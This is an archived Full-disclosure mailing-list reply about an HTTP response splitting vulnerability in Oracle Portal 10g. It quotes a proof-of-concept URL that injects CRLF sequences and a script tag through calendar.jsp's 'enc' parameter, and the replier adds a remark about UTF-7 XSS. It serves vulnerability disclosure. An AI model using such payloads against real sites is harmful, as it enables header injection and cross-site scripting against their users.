Re: [Full-disclosure] Oracle Portal 10g HTTP Response Splitting

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [Full-disclosure] Oracle Portal 10g HTTP Response Splitting

Subject: Re: [Full-disclosure] Oracle Portal 10g HTTP Response Splitting
Date: Wed, 20 Dec 2006 13:55:09 -0500
From: "Brian Eaton" <suppressed>

On 12/20/06, putosoft softputo <suppressed> wrote:

Oracle Portal/Applications HTTP Response Splitting
--------------------------------------------------

Sample:

http://<target>/webapp/jsp/calendar.jsp?enc=iso-8859-1%0d%0aContent-length=12%0d%0a%0d%0a%3Cscript%3Ealert('hi')%3C/script%3E


So they let the URL specify the content-encoding?  They might be
vulnerable to XSS via UTF-7 as well.

Regards,
Brian

References:
- Oracle Portal 10g HTTP Response Splitting
  - From: putosoft softputo

Prev by Date: Re: Oracle <= 9i / 10g File System Access via utl_file Exploit
Next by Date: [security bulletin] HPSBUX02174 SSRT061239 rev.2 HP-UX Running OpenSSL Denial of Service (DoS), Increase Privilege
Previous by thread: Oracle Portal 10g HTTP Response Splitting
Next by thread: Re: Oracle Portal 10g HTTP Response Splitting
Index(es):
- Date
- Thread

Mail converted by mhonarc 2.6.15
This archive provided courtesy of JSW4.NET, Internet Hosting Services for Small Business.